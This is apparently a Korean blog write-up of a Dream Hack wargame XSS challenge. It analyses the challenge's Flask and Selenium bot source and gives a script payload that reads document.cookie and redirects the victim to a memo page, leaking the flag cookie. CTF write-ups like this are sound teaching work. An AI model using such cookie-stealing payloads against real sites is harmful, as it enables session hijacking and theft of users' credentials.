Cross-Site-Scripting 를 이용한 문제로 자바 스크립트 코드에 대한 이해가 필요하다.
나도 처음 해보았기 때문에 많은 시행착오와 여러 정보들를 확인하였다.
문제 분석
입력받은 URL을 확인하는 봇이 구현되어 있다고 한다. 아마 피해자 역할을 대신해서 해준다고 짐작해볼 수 있다.
바로 웹페이지를 확인해보자
바로 3개의 링크가 보인다. 어떤 기능을 하는 지 알아보자
첫번째 페이지 'vuln(xss) page' 의 경우 들어가자마자 alert가 실행되며 주소에는 param 값으로 xss 공격 코드가 입력되어있다.
이 페이지는 xss 공격을 위한 script가 작동하는 것을 알 수 있다.
두번째 페이지 'memo' 는 memo라는 파라미터 값에 들어간 데이터를 저장하여 입력된 모든 데이터를 출력해주었다.
세번째 페이지 'flag'는 주소와 제출 버튼이 있으며 주소가 첫번째 페이지인 것으로 보아 이 곳에 입력된 스크립트도 동작할 것이다.
소스코드를 살펴보자
from selenium import webdriver
...
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
먼저 눈에 띄는 코드는 셀레니움을 이용한 웹 조작 코드이다. 위에서 말한 피해자 봇 역할을 이 함수가 대신한다고 생각하자.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
해당 코드를 통해 피해자가 xss에 취약한 페이지 "/vuln" 에 접근하게 된다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
코드를 보아 /flag 페이지에서 입력할 수 있었던 값을 통해 피해자 봇이 xss에 취약한 사이트에 접근하게 만들어서 쿠키에 있는 FLAG를 빼내야 한다.
주어진 자료를 분석한 결과 우리는 이렇게 시나리오를 생각할 수 있다.
1. 'flag' 페이지를 이용해 피해자를 xss에 취약한 'vuln'페이지로 보내 쿠키를 알아낸다.
2. 알아낸 쿠키를 'memo'페이지에 파라미터로 입력해 저장시킨 뒤 공격자가 확인한다.
스크립트에 적용시키기 위해 알아야할 자바 스크립트 코드가 있다.
document.cookie // 사용자의 쿠키 정보가 있는 변수
location.href="주소" // 입력된 주소로 이동하는 함수
문제 해결
우리는 사용자의 쿠키를 "memo"페이지에 파라미터로 넘기는 스크립트 코드를 짤 것이다.
<script>location.href="/memo?memo="+document.cookie;</script>
해당 코드를 'flag' 페이지에 입력하여 피해자 봇이 접속하도록 한다.
이제 'memo' 페이지에 가면 플래그를 다음과 같이 확인할 수 있다.
우리는 간단하지만 아주 위험한 XSS 공격을 이용해 플래그를 얻었다.
'Wargame' 카테고리의 다른 글
[Dream Hack] xss-2 풀이 (0) | 2022.09.07 |
---|---|
[Dream Hack] Cookie 풀이 (0) | 2022.09.01 |
[Dream Hack] session-basic 풀이 (0) | 2022.09.01 |
[Dream Hack] devtools-sources 풀이 (0) | 2022.09.01 |